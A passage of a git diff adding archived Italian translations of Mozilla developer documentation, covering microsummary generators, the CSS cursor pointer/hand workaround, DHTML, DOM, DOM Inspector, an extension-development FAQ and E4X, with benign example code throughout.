+	Siccome però non siamo i webmaster di quel sito, possiamo specificare la pagina al quale si applica il generatore dentro al generatore stesso e poi renderlo disponibile per il download e l'installazione. Per specificare la pagina, utilizziamo un elemento <code>&lt;pages&gt;</code>, figlio di <code>&lt;generator&gt;</code>:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>"
+           name="Download di Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        &lt;text&gt; download&lt;/text&gt;
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+  <b>&lt;pages&gt;</b>
+  <b>&lt;/pages&gt;</b>
+&lt;/generator&gt;
+</pre>
+<p>
+	Tale elemento può contenere una sequenza di tag <code>&lt;include&gt;</code> e <code>&lt;exclude&gt;</code> che specificano, rispettivamente, a quali pagine il generatore si applica e non si applica.</p>
+<p>
+	Per far sì che il generatore si applichi a una pagina, si può aggiungere un elemento <code>&lt;include&gt;</code>, il cui contenuto è un'espressione regolare che corrisponde alla pagina (o alle pagine). Per far sì che il generatore invece ignori una pagina, è necessario inserire un elemento <code>&lt;exclude&gt;</code>, il cui contenuto è anch'esso un'espressione regolare.</p>
+<p>
+	Per default i generatori non si applicano ad alcuna pagina, quindi è possibile elencare esplicitamente a quali pagine si applica e non è necessario escludere altre pagine, a meno che non siano state precedentemente incluse.</p>
+<p>
+	Aggiungiamo un elemento <code>&lt;include&gt;</code> che corrisponda alla home page di Spread Firefox:</p>
+<pre class="eval">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
+&lt;generator xmlns="<span class="nowiki">http://www.mozilla.org/microsummaries/0.1</span>" name="Download di Firefox"&gt;
+  &lt;template&gt;
+    &lt;transform xmlns="<span class="nowiki">http://www.w3.org/1999/XSL/Transform</span>" version="1.0"&gt;
+      &lt;output method="text"/&gt;
+      &lt;template match="/"&gt;
+        &lt;value-of select="id('download-count')"/&gt;
+        &lt;text&gt; download&lt;/text&gt;
+      &lt;/template&gt;
+    &lt;/transform&gt;
+  &lt;/template&gt;
+  &lt;pages&gt;
+    <b>&lt;include&gt;<span class="nowiki">http://(www\.)?spreadfirefox\.com/(index\.php)?</span>&lt;/include&gt;</b>
+  &lt;/pages&gt;
+&lt;/generator&gt;
+</pre>
+<h2 id="Rendere_il_generatore_disponibile_per_il_download" name="Rendere_il_generatore_disponibile_per_il_download">
+	Rendere il generatore disponibile per il download</h2>
+<p>
+	Ora che il nostro generatore si applica alla home page di Spread Firefox, l'unica cosa rimasta da fare è renderlo scaricabile. Per fare questo, dobbiamo caricarlo in rete e creare un link <a href="it/JavaScript">JavaScript</a> in una qualche pagina che chiami il metodo di Firefox <code>window.sidebar.addMicrosummaryGenerator()</code> per scaricarlo e installarlo.</p>
+<p>
+	Per esempio, se carichiamo il generatore all'indirizzo <a class="external" href="http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml" rel="freelink">http://people.mozilla.com/~myk/micro...-generator.xml</a> e vogliamo che gli utenti possano installarlo da <a class="external" href="http://people.mozilla.com/~myk/microsummaries/tutorial/index.html" rel="freelink">http://people.mozilla.com/~myk/micro...ial/index.html</a>, possiamo aggiungere il seguente codice alla pagina <cite>index.html</cite>:</p>
+<pre class="eval"><b>&lt;a href="javascript:window.sidebar.addMicrosummaryGenerator('<span class="nowiki">http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml</span>')"&gt;Installa il microsommario della pagina principale di Spread Firefox!&lt;/a&gt;</b>
+</pre>
+<p>
+	Cliccando sul link, si genera un errore JavaScript sui browser che non supportano i microsommari, pertanto si può migliorarlo controllando se i microsommari sono supportati. Potremmo farlo con il codice seguente:</p>
+<pre class="eval"><b>&lt;script&gt;</b>
+<b>  const warning = "Spiacente, ma è necessario un browser che supporti i microsommari, come Firefox 2.0";</b>
+<b>  function addGenerator(url) {</b>
+<b>    if (typeof window.sidebar == "object" &amp;&amp;</b>
+<b>        typeof window.sidebar.addMicrosummaryGenerator == "function")</b>
+<b>      window.sidebar.addMicrosummaryGenerator(url);</b>
+<b>    else</b>
+<b>     alert(warning);</b>
+<b>  }</b>
+<b>&lt;/script&gt;</b>
+<b>&lt;a href="javascript:addGenerator('<span class="nowiki">http://people.mozilla.com/~myk/microsummaries/tutorial/sfx-generator.xml</span>')"&gt;Installa il microsommario della pagina principale di Spread Firefox!&lt;/a&gt;</b>
+</pre>
+<p>
+	 </p>
+<h2 id="Conclusione" name="Conclusione">
+	Conclusione</h2>
+<p>
+	Abbiamo creato un generatore di microsommari che, una volta installato, mostra il numero attuale di download di Firefox e seleziona il microsommario dal menu a discesa <cite>Summary</cite> nella finestra <cite>Add Bookmark</cite>.</p>
+<p>
+	Per ulteriori informazioni sui microsommari, si veda <a class="external" href="http://wiki.mozilla.org/Microsummaries">Microsummaries home page</a> (EN).</p>
diff --git a/files/it/dare_una_mano_al_puntatore/index.html b/files/it/dare_una_mano_al_puntatore/index.html
new file mode 100644
index 0000000000..9b329f839f
--- /dev/null
+++ b/files/it/dare_una_mano_al_puntatore/index.html
@@ -0,0 +1,40 @@
+---
+title: Dare una mano al puntatore
+slug: Dare_una_mano_al_puntatore
+tags:
+  - CSS
+  - Tutte_le_categorie
+translation_of: Web/CSS/CSS_Basic_User_Interface/Using_URL_values_for_the_cursor_property
+---
+<p>Un buon numero di sviluppatori ha chiesto quando Mozilla e Netscape 6+ abbiano pianificato di implementare il supporto per la proprietà <code>cursor</code>. Spesso si stupiscono di scoprire che entrambi i browser già la supportano. Comunque, ciò che non dovrebbe sorprendere è che il supporto è basato sulle specifiche approvate dal W3C per i CSS2.</p>
+<p>Il problema di base è questo: Internet Explorer 5.x per Windows riconosce il valore <code>hand</code>, che non appare mai nella <a class="external" href="http://www.w3.org/TR/REC-CSS2/ui.html#propdef-cursor">sezione 18.1 dei CSS2</a>– ne' in altra specifica. Il valore che più si avvicina al comportamento di <code>hand</code> è <code>pointer</code>, che le specifiche definiscono così: "Il cursore è un puntatore che indica un collegamento". Si noti che non viene mai detto niente riguardo l'apparizione di una manina, anche se è ormai pratica convenzionale dei browser.</p>
+<p>Sfortunatamente, IE5.x/Win non riconosce il valore <code>pointer</code>. Entrambi IE6/Win and IE5.x/Mac riconoscono <code>pointer</code> e <code>hand</code>, fortunatamente. D'altra parte, Mozilla e Netscape 6+ seguono la specifica CSS2 e gestiscono <code>pointer</code>, ignorando il valore proprietario <code>hand</code>.</p>
+<p>Se Mozilla/Netscape ignorano <code>hand</code> e IE5.x/Win ignora <code>pointer</code>, come deve comportarsi uno sviluppatore? E' necessario specificare entrambi.</p>
+<pre>a { cursor: pointer; cursor: hand; }</pre>
+<p>Si faccia attenzione a <b>non</b> invertire i due valori! Scrivendo i fogli di stile come mostrato sopra, NS6+ mostrerà il primo valore e ignorerà il secondo, così si ottiene il valore <code>pointer</code>. IE5.x/Win riconosce entrambi ed userà il secondo, cioè <code>hand</code>. Invertendo i due valori, Netscape 6+ continuerà a lavorare interpretare correttamente lo stile, mentre IE5.x/Win tenterà di usare il secondo, senza ottenere il risultato voluto.</p>
+<p>Con questo semplice metodo, è possibile assicurarsi la presenza della "manina" in ogni caso.</p>
+<p><b>Una avvertenza:</b> seguendo l'approccio raccomandato, il foglio di stile non passerà una eventuale validazione, dato che contiene un valore non permesso per la proprietà <code>cursor</code>. Gli sviluppatori sono quindi avvisati di prendere in considerazione questo inconveniente rispetto al vantaggio che porta la soluzione, quindi decidere cosa è più importante e procedere di conseguenza.</p>
+<h2 id="Testare_il_supporto" name="Testare_il_supporto">Testare il supporto</h2>
+<p>Vi chiedete come si comporti il vostro browser con <code>hand</code> e <code>pointer</code>? Provate direttamente a spostare il puntatore sulla tabella di test sotto riportata!</p>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td style="cursor: pointer;">Questa cella ha lo stile <code>cursor: pointer</code>. Si dovrebbe ottenere un puntatore che cambia in una manina, su Mozilla e Netscape 6+, IE6/Win, and IE5.x/Mac, ma non in IE5.x/Win.</td>
+   <td>Questa cella non ha uno stile <code>cursor</code> per cui il puntatore rimarrà quello standard.</td>
+   <td style="cursor: hand;">Questa cella ha uno stile <code>cursor: hand</code>. Si dovrebbe ottenere un puntatore che cambia in una manina, su IE5+/Win, ma non in Mozilla e Netscape 6+.</td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="Collegamenti" name="Collegamenti">Collegamenti</h2>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/REC-CSS2/ui.html#propdef-cursor">CSS2, sezione 18.1</a></li>
+</ul>
+<div class="originaldocinfo">
+ <h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+ <ul>
+  <li>Author(s): Eric A. Meyer, Netscape Communications</li>
+  <li>Last Updated Date: Published 04 Mar 2002; Revised 30 Jan 2003</li>
+  <li>Copyright Information: Copyright © 2001-2003 Netscape. All rights reserved.</li>
+  <li>Note: This reprinted article was originally part of the DevEdge site.</li>
+ </ul>
+</div>
diff --git a/files/it/dhtml/index.html b/files/it/dhtml/index.html
new file mode 100644
index 0000000000..fbc1dbcbe4
--- /dev/null
+++ b/files/it/dhtml/index.html
@@ -0,0 +1,56 @@
+---
+title: DHTML
+slug: DHTML
+tags:
+  - DHTML
+translation_of: Glossary/DHTML
+---
+<p> </p>
+<div>
+ <strong>DHTML è un acronimo per "Dynamic HTML"</strong>, ovvero <strong>HTML Dinamico</strong>. DHTML è un termine impiegato per riferirsi al codice posto dietro quelle pagine web con un certo livello di interattività ottenuta senza l'uso di plugin o tecnologie come Flash o Java. Comunemente, questo termine indica l'insieme di funzionalità a disposizione di uno sviluppatore web che fa uso di <a href="/it/HTML" title="it/HTML">HTML</a>, <a href="/it/CSS" title="it/CSS">CSS</a>, <a href="/it/DOM" title="it/DOM">DOM</a> (Document Object Model, il Modello ad Oggetti per i Documenti), e <a href="/it/JavaScript" title="it/JavaScript">JavaScript</a>.</div>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Documentazione" name="Documentazione"><a href="/Special:Tags?tag=DHTML&amp;language=it" title="Special:Tags?tag=DHTML&amp;language=it">Documentazione</a></h4>
+    <dl>
+     <dt>
+      <a href="/it/DOM_Client_Object_Cross-Reference" title="it/DOM_Client_Object_Cross-Reference">Manuale di riferimento del DOM nei client web</a></dt>
+     <dd>
+      <small>Questo manuale di riferimento fornisce tutte le informazioni sugli oggetti comunemente usati in DHTML nei vari web client, allo scopo di fornire indicazioni su quali proprietà sono supportate nei vari browser.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="/it/Esempi_di_DHTML_usando_DOM_e_Stili" title="it/Esempi_di_DHTML_usando_DOM_e_Stili">Esempi di DHTML usando DOM e Stili</a></dt>
+     <dd>
+      <small>Dimostrazioni sul funzionamento del Modello ad Oggetti per i Documenti (DOM), esempi di codice funzionanti su qualsiasi browser, ed altre risorse per comprendere DOM e gli stili.</small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a href="/en/Working_around_the_Firefox_1.0.3_DHTML_regression">en:Working around the Firefox 1.0.3 DHTML regression</a> <small>(en)</small></dt>
+     <dd>
+      <small>Come aggirare le problematiche del DHTML presenti in Firefox 1.0.3. Si noti che gli argomenti coperti da questo articolo sono stati corretti in Firefox 1.0.4, e questo documento riguarda esclusivamente la versione 1.0.3 del browser.</small></dd>
+    </dl>
+    <p><span class="alllinks"><a href="/Special:Tags?tag=DHTML&amp;language=it" title="Special:Tags?tag=DHTML&amp;language=it">Mostra tutto...</a></span></p>
+   </td>
+   <td>
+    <h4 id="Comunit.C3.A0" name="Comunit.C3.A0">Comunità</h4>
+    <ul>
+     <li>View Mozilla forums...</li>
+    </ul>
+    <p>{{ DiscussionList("dev-ajax", "mozilla.dev.ajax") }}</p>
+    <h4 id="Tools" name="Tools">Tools</h4>
+    <ul>
+     <li><a class="link-https" href="https://addons.mozilla.org/extensions/moreinfo.php?id=1843&amp;application=firefox">Firebug Firefox extension</a> <small>(en)</small></li>
+    </ul>
+    <h4 id="Related_Topics" name="Related_Topics">Related Topics</h4>
+    <dl>
+     <dd>
+      <a href="/it/AJAX" title="it/AJAX">AJAX</a>, <a href="/it/CSS" title="it/CSS">CSS</a>, <a href="/it/DOM" title="it/DOM">DOM</a>, <a href="/it/HTML" title="it/HTML">HTML</a>, <a href="/it/JavaScript" title="it/JavaScript">JavaScript</a></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p><span class="comment">Categories</span></p>
+<p> </p>
diff --git a/files/it/dom/index.html b/files/it/dom/index.html
new file mode 100644
index 0000000000..9c8e8851b1
--- /dev/null
+++ b/files/it/dom/index.html
@@ -0,0 +1,83 @@
+---
+title: DOM
+slug: DOM
+translation_of: Glossary/DOM
+---
+<div class="callout-box">
+ <strong><a href="/en-US/docs/Using_the_W3C_DOM_Level_1_Core" title="en-US/docs/Using_the_W3C_DOM_Level_1_Core">Utilizzare il DOM Base Livello 1 del W3C</a></strong><br>
+ Introduzione al DOM di W3C.</div>
+<div>
+ <p>Il <strong>Modello a Oggetti del Documento</strong> (<strong>DOM</strong>) è una API per documenti <a href="/en-US/docs/HTML" title="en-US/docs/HTML">HTML</a> e <a href="/en-US/docs/XML" title="en-US/docs/XML">XML</a>. Fornisce una rappresentazione strutturale del documento, permettendo la modifica del suo contenuto e la presentazione visuale utilizzando un linguaggio di script come <a href="/en-US/docs/JavaScript" title="https://developer.mozilla.org/en-US/docs/JavaScript">JavaScript</a>.</p>
+</div>
+<div class="cleared topicpage-table row">
+ <div class="section">
+  <h2 class="Documentation" id="Documentation" name="Documentation">Documentazione sul DOM</h2>
+  <dl>
+   <dt>
+    <a href="/en-US/docs/Gecko_DOM_Reference" title="en-US/docs/Gecko_DOM_Reference">Riferimento al DOM di Gecko</a></dt>
+   <dd>
+    La guida di riferimento al Modello a Oggetti del Documento in Gecko.</dd>
+   <dt>
+    <a href="/en-US/docs/DOM/About_the_Document_Object_Model" title="en-US/docs/About_the_Document_Object_Model">A proposito del Modello a Oggetti del Documento</a></dt>
+   <dd>
+    Una breve introduzione al DOM.</dd>
+   <dt>
+    <a href="/en-US/docs/JavaScript_technologies_overview" title="en-US/docs/The_DOM_and_JavaScript">Il DOM e JavaScript</a></dt>
+   <dd>
+    Cos'è il DOM? Cos'è JavaScript? Come usarli insieme nella pagina web? Questo documento risponde a queste ed altre domande.</dd>
+   <dt>
+    <a href="/en-US/docs/DOM/Using_dynamic_styling_information" title="en-US/docs/DOM/Using_dynamic_styling_information">Utilizzare le informazioni di stile dinamiche</a></dt>
+   <dd>
+    Come ottenere informazioni e manipolare lo stile attraverso il DOM.</dd>
+   <dt>
+    <a href="/en-US/docs/DOM/DOM_event_reference" title="DOM event reference">Riferimento agli eventi del DOM</a></dt>
+   <dd>
+    Elenca tutti gli eventi del DOM e il loro significato.</dd>
+   <dt>
+    <a href="/en-US/docs/DOM/Manipulating_the_browser_history" title="en-US/docs/DOM/Manipulating_the_browser_history">History API: Manipolare la cronologia del browser</a></dt>
+   <dd>
+    Illustra l'oggetto {{ domxref("window.history") }} introdotto dal DOM di HTML5, permettendo la modifica dinamica della cronologia del browser.</dd>
+   <dt>
+    <a href="/en-US/docs/Using_files_from_web_applications" title="https://developer.mozilla.org/en-US/docs/Using_files_from_web_applications">File API: Utilizzare i file dalle applicazioni web</a></dt>
+   <dd>
+    Descrive la capacità introdotta da HTML5 di selezionare un file locale e leggere i dati da questo.</dd>
+   <dt>
+    <a href="/en-US/docs/DOM/Using_the_Page_Visibility_API" title="en-US/docs/DOM/Using_the_Page_Visibility_API">Utilizzare la Page Visibility API</a></dt>
+   <dd>
+    Spiega come intercettare ed utilizzare le informazioni su una pagina web in primo piano o sullo sfondo.</dd>
+   <dt>
+    <a href="/en-US/docs/DOM/Using_full-screen_mode" title="Using full-screen mode">Fullscreen API: Utilizzare la modalità a pieno schermo</a></dt>
+   <dd>
+    Descrive come impostare un pagina che utilizza lo schermo intero, senza alcuna UI del browser intorno.</dd>
+   <dt>
+    <a href="/en-US/docs/Determining_the_dimensions_of_elements" title="en-US/docs/Determining_the_dimensions_of_elements">Determinare la dimensione degli elementi</a></dt>
+   <dd>
+    Capire il modo giusto per determinare le dimensioni degli elementi, secondo le proprie necessità.</dd>
+   <dt>
+    <a href="/en-US/docs/Dynamically_modifying_XUL-based_user_interface" title="en-US/docs/Dynamically_modifying_XUL-based_user_interface">Modificare dinamicamente l'interfaccia utente basata su XUL</a></dt>
+   <dd>
+    I principi della manipolazione della UI XUL con i metodi del DOM.</dd>
+  </dl>
+  <p><span class="alllinks"><a href="/en-US/docs/tag/DOM" title="/en-US/docs/tag/DOM">Vedi Tutto...</a></span></p>
+ </div>
+ <div class="section">
+  <h2 class="Community" id="Community" name="Community">Ottenere aiuto dalla comunità</h2>
+  <p>Hai bisogno di aiuto su una questione legata al DOM e non trovi la soluzione nella documentazione?</p>
+  <ul>
+   <li>Consulta la sezione del forum di Mozilla dedicata: {{ DiscussionList("dev-tech-dom", "mozilla.dev.tech.dom") }}</li>
+  </ul>
+  <h2 class="Tools" id="Tools" name="Tools">Strumenti che semplificano il lavoro con il DOM</h2>
+  <ul>
+   <li><a class="external" href="http://www.getfirebug.com/">Firebug </a></li>
+   <li><a href="/en-US/docs/DOM_Inspector" title="en-US/docs/DOM_Inspector">DOM Inspector</a></li>
+   <li><a class="external" href="http://slayeroffice.com/tools/modi/v2.0/modi_help.html">Mouse-over DOM Inspector</a></li>
+   <li><a class="external" href="http://www.karmatics.com/aardvark/">Estensione Aardvark Firefox</a></li>
+  </ul>
+  <p><span class="alllinks"><a href="/en-US/docs/tag/DOM:Tools" title="/en-US/docs/tag/DOM:Tools">Vedi Tutto...</a></span></p>
+  <h2 class="Related_Topics" id="Related_Topics" name="Related_Topics">Argomenti correlati</h2>
+  <ul>
+   <li><a href="/en-US/docs/AJAX" title="en-US/docs/AJAX">AJAX</a>, <a href="/en-US/docs/CSS" title="en-US/docs/CSS">CSS</a>, <a href="/en-US/docs/DHTML" title="en-US/docs/DHTML">DHTML</a>, <a href="/en-US/docs/JavaScript" title="en-US/docs/JavaScript">JavaScript</a></li>
+  </ul>
+ </div>
+</div>
+<p> </p>
diff --git a/files/it/dom_inspector/index.html b/files/it/dom_inspector/index.html
new file mode 100644
index 0000000000..d6566854ca
--- /dev/null
+++ b/files/it/dom_inspector/index.html
@@ -0,0 +1,24 @@
+---
+title: DOM Inspector
+slug: DOM_Inspector
+tags:
+  - 'DOM:Strumenti'
+  - Estensioni
+  - 'Estensioni:Strumenti'
+  - Strumenti
+  - Sviluppo_Web
+  - 'Sviluppo_Web:Strumenti'
+  - 'Temi:Strumenti'
+  - Tutte_le_categorie
+  - XUL
+  - 'XUL:Strumenti'
+translation_of: Tools/Add-ons/DOM_Inspector
+---
+<p>
+</p><p>Il <b><a class="external" href="http://www.mozilla.org/projects/inspector/">DOM Inspector</a></b> (conosciuto anche con l'acronimo <b>DOMi</b>) è un tool di Mozilla usato per ispezionare, visualizzare, modificare il <a href="it/DOM">Modello a Oggetti di un Documento</a> (DOM - Document Object Model), normalmente una pagina web o una finestra <a href="it/XUL">XUL</a>.
+</p><p>Per ulteriore informazioni sul DOMi, visitare la pagina del <a class="external" href="http://kb.mozillazine.org/DOM_Inspector">DOM Inspector su MozillaZine</a>.
+</p><p>Per utilizzare DOMi con Thunderbird 2.0 o superiore, occorre installare Thunderbird con le seguenti opzioni:
+</p>
+<pre>ac_add_options --enable-extensions="default inspector"
+ac_add_options --enable-inspector-apis</pre>
+{{ languages( { "en": "en/DOM_Inspector", "fr": "fr/Inspecteur_DOM", "ja": "ja/DOM_Inspector", "pl": "pl/Inspektor_DOM", "ko": "ko/DOM_Inspector" } ) }}
diff --git a/files/it/domande_frequenti_sulle_estensioni/index.html b/files/it/domande_frequenti_sulle_estensioni/index.html
new file mode 100644
index 0000000000..22b1b00dc4
--- /dev/null
+++ b/files/it/domande_frequenti_sulle_estensioni/index.html
@@ -0,0 +1,67 @@
+---
+title: Domande frequenti sulle Estensioni
+slug: Domande_frequenti_sulle_Estensioni
+tags:
+  - Estensioni
+  - Tutte_le_categorie
+translation_of: Archive/Mozilla/Extension_Frequently_Asked_Questions
+---
+<p>Questo è un breve insieme di risposte ai problemi più comuni che sorgono durante lo sviluppo delle <a href="it/Estensioni">estensioni</a>. Le risposte sono scritte avendo in mente soprattutto Firefox, ma la molte, se non tutte, dovrebbero essere facilmente utilizzabili anche per SeaMonkey, Thunderbird o qualsiasi altra applicazione.
+</p><p>Se sei in cerca di un posto dove venga insegnato come iniziare, prova la nostra guida, <a href="it/Sviluppare_un'Estensione">Sviluppare un'Estensione</a> o il <a class="external" href="http://kb.mozillazine.org/Getting_started_with_extension_development">Tutorial di MozillaZine "Getting started"</a>(EN).
+</p><p>Accertati di aver <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">impostato il tuo ambiente di sviluppo</a>(EN).
+</p>
+<h3 id="Effettuare_il_Debug" name="Effettuare_il_Debug"> Effettuare il Debug </h3>
+<p>Dovresti aver <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">organizzato l'ambiente di sviluppo</a>(EN) prima di effettuare il debug alla tua estensione.
+</p><p>Il debugger Javascript <a href="it/Venkman">Venkman</a> può essere utile nelle situazioni complesse, ricorda di disattivare l'opzione "Debug -&gt; Escludi i file del browser" quando lavori sul codice dell'estensione.
+</p>
+<h4 id="Come_faccio_a_scoprire_gli_errori_nel_mio_codice.3F" name="Come_faccio_a_scoprire_gli_errori_nel_mio_codice.3F"> Come faccio a scoprire gli errori nel mio codice? </h4>
+<p>Dopo aver <a class="external" href="http://kb.mozillazine.org/Setting_up_extension_development_environment">impostato la preferenza <b>javascript.options.showInConsole</b> a <b>true</b></a>, gli errori saranno riportati nella console JavaScript. Nota che, nonostante il nome, verranno riportati lì tutti i tipi di errore.
+</p>
+<h4 id="Come_faccio_a_visualizzare_cosa_sta_facendo_la_mia_estensione.3F" name="Come_faccio_a_visualizzare_cosa_sta_facendo_la_mia_estensione.3F"> Come faccio a visualizzare cosa sta facendo la mia estensione? </h4>
+<p>Puoi usare le funzioni <a href="it/DOM/window.alert">alert()</a> o <a href="it/DOM/window.dump">dump()</a> o <a href="it/NsIConsoleService">nsIConsoleService</a>.
+</p>
+<h4 id="Perch.C3.A9_il_mio_script_non_viene_eseguito_correttamente.3F" name="Perch.C3.A9_il_mio_script_non_viene_eseguito_correttamente.3F"> Perché il mio script non viene eseguito correttamente? </h4>
+<p>Se il tuo script non funziona come ti aspettavi, la prima cosa da fare è controllare la console Javascript (guarda <a href="#Come_faccio_a_scoprire_gli_errori_nel_mio_codice.3F">sopra</a>).
+</p><p>Un errore comune è provare ad accedere al DOM di una finestra prima che questa sia completamente caricata. Questo accade se si mette il codice di inizializzazione al livello più alto dello script (cioè fuori da ogni funzione). La soluzione è utilizzare un evento <code>load</code> per ritardare il proprio codice finché la finestra non sia completamente caricata:
+</p>
+<pre class="eval">function exampleBrowserStartup(event)
+{
+  // metti il tuo codice di startup qua
+}
+window.addEventListener("load", exampleBrowserStartup, false);
+</pre>
+<h4 id="Non_accede_ad_un_documento_di_una_pagina_web" name="Non_accede_ad_un_documento_di_una_pagina_web"> Non accede ad un documento di una pagina web </h4>
+<p>Per accedere al documento della pagina web corrente da un overlay di browser.xul, si deve utilizzare <code>content.document</code>, invece del semplice <code>document</code> che indica il documento della finestra stessa del browser. Guarda <a href="it/Lavorare_con_le_finestre_nel_codice_chrome">"Lavorare con le finestre nel codice chrome"</a> per i dettagli.
+</p><p>Inoltre, come opzione predefinita <a href="it/XPCNativeWrapper">XPCNativeWrapper</a> impedisce di accedere agli oggetti definiti da script nelle pagine web e di effettuare anche altre operazioni.
+</p>
+<h4 id="Ricevo_un_errore_di_analisi_XML.2C_ma_il_file_sembra_corretto.21" name="Ricevo_un_errore_di_analisi_XML.2C_ma_il_file_sembra_corretto.21"> Ricevo un errore di analisi XML, ma il file sembra corretto! </h4>
+<p>Una comune sorgente di errori di analisi (del <font color="red">testo rosso</font> con una linea <font color="red">-------------^</font> sotto) è l'utilizzo di caratteri nello script, o l'attribuzione di un valore, che in XML hanno un particolare significato. Per esempio:
+</p>
+<pre class="eval">&lt;button oncommand="window.open('<span class="nowiki">http://example.com/</span>q?param1=value<b>&amp;param2</b>=val2')"/&gt;
+</pre>
+<p>o
+</p>
+<pre class="eval">&lt;script&gt;function lesser(a,b) { return <b>a &lt; b</b> ? a : b; }&lt;/script&gt;
+</pre>
+<p>Il problema può essere risolto in uno dei seguenti modi:
+</p>
+<ol>
+<li>sostituire i caratteri con una rappresentazione che non confligga con XML (Es: "&amp;" -&gt; "&amp;amp;", "&lt;" -&gt; "&amp;lt;")</li>
+<li>(nel caso sia un nodo di testo, come uno script) mettere dei tag CDATA intorno:
+<pre>&lt;script&gt;&lt;![CDATA[
+   function lesser(a,b) {
+     return a &lt; b ? a : b;
+   }
+ ]]&gt;&lt;/script&gt;</pre>
+</li>
+<li>Inserire lo script in un file separato e includerlo usando:
+<pre>&lt;script type="application/x-javascript" src="our.js"/&gt;</pre>
+</li></ol>
+<h3 id="Esempi_di_codice" name="Esempi_di_codice"> Esempi di codice </h3>
+<p>Il modo più semplice per trovare quale codice sia necessario per fare qualcosa è cercare un'estensione (o una parte di Mozilla stesso) che esegua quell'azione e guardare il suo codice. (I file XPI e JAR usano il formato ZIP.)
+</p><p>C'è anche della documentazione. Guarda <a>la lista di articoli relativi alle estensioni su MDC</a> e <a class="external" href="http://kb.mozillazine.org/Category:Example_code">la pagina di esempi di codice su MozillaZine</a>(EN).
+</p>
+<h3 id="Dove_posso_ottenere_pi.C3.B9_aiuto.3F" name="Dove_posso_ottenere_pi.C3.B9_aiuto.3F"> Dove posso ottenere più aiuto? </h3>
+<p>Per favore guarda <a href="it/Estensioni/Altre_risorse">Estensioni:Altre risorse</a> e <a href="it/Estensioni/Comunit%c3%a0">Estensioni:Comunità</a>.
+</p><p>Prima di chiedere aiuto, assicurati di aver impostato le <a href="#Effettuare_il_Debug">preferenze di debug</a> e <a href="#Come_faccio_a_scoprire_gli_errori_nel_mio_codice.3F">controlla la console JavaScript</a> per i messaggi correlati. Inoltre, non dimenticare di fare almeno una semplice ricerca prima di domandare. E leggi queste FAQ!
+</p>{{ languages( { "de": "de/Erweiterungen_FAQ", "en": "en/Extension_Frequently_Asked_Questions", "es": "es/Preguntas_frecuentes_sobre_Extensiones", "fr": "fr/Foire_aux_questions_sur_les_extensions", "ja": "ja/Extension_Frequently_Asked_Questions", "pl": "pl/Cz\u0119sto_zadawane_pytania_dotycz\u0105ce_rozszerze\u0144" } ) }}
diff --git a/files/it/e4x/index.html b/files/it/e4x/index.html
new file mode 100644
index 0000000000..142b0bf375
--- /dev/null
+++ b/files/it/e4x/index.html
@@ -0,0 +1,24 @@
+---
+title: E4X
+slug: E4X
+tags:
+  - E4X
+translation_of: Archive/Web/E4X
+---
+<p><b>ECMAScript for XML</b> (<b>E4X</b>) è un'estensione di <a href="it/JavaScript">JavaScript</a> che aggiunge a quest'ultimo il supporto nativo a <a href="it/XML">XML</a>. Fornisce l'accesso al documento XML in una forma naturale per i programmatori ECMAScript. L'obiettivo è mettere a disposizione una sintassi alternativa e più semplice rispetto alle interfacce <a href="it/DOM">DOM</a> per accedere ai documenti XML.
+</p><p>E4X è standardizzato dalla ECMA International in <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">ECMA-357 standard</a> (attualmente è alla sua prima edizione, giugno 2004).
+</p><p>E4X è implementato (almeno in parte in <a href="it/SpiderMonkey">SpiderMonkey</a> (il motore JavaScript di <a href="it/Gecko">Gecko</a>) e in <a href="it/Rhino">Rhino</a>.
+</p><p><b>Nota:</b> Nei browser basati su Gecko 1.8, come <a href="it/Firefox_1.5">Firefox 1.5</a>, E4X è già parzialmente abilitato per gli autori di pagine web. Per abilitarlo completamente, occorre impostare il tipo MIME nell'elemento <code>&lt;script&gt;</code> a "text/javascript;e4x=1" (con l'attributo <code>type="text/javascript;e4x=1"</code>). La differenza tra le due modalità è che senza il tipo MIME "e4x=1":
+</p>
+<ul><li> ogni commento XML/HTML (<code><span class="nowiki">&lt;!--...--&gt;</span></code>) è ignorato;
+</li><li> le sezioni (<code>&lt;![CDATA{{ mediawiki.external('...') }}]&gt;</code>) non sono interpretate (questo produce un errore di sintassi JavaScript).
+</li></ul>
+<h3 id="Limiti_e_bug_conosciuti" name="Limiti_e_bug_conosciuti"> Limiti e bug conosciuti </h3>
+<ul><li> Attualmente non è possibile accedere a un oggetto DOM attraverso E4X ({{ Bug(270553) }})
+</li><li> E4X non supporta la dichiarazione XML (<code>&lt;?xml version=...?&gt;</code>) (vedi {{ Bug(336551) }}).
+</li></ul>
+<h3 id="Risorse" name="Risorse"> Risorse </h3>
+<ul><li> (EN) <a class="external" href="http://www.ecma-international.org/publications/standards/Ecma-357.htm">ECMA-357 standard</a>
+</li><li> (EN) <a class="external" href="http://www.faqts.com/knowledge_base/index.phtml/fid/1762">E4X at faqts.com</a>
+</li></ul>
+{{ languages( { "en": "en/E4X", "fr": "fr/E4X", "ja": "ja/E4X" } ) }}
diff --git a/files/it/estensioni/comunità/index.html b/files/it/estensioni/comunità/index.html
new file mode 100644
index 0000000000..755b6a74a4
--- /dev/null
+++ b/files/it/estensioni/comunità/index.html
@@ -0,0 +1,22 @@
+---
+title: Comunità
+slug: Estensioni/Comunità
+tags:
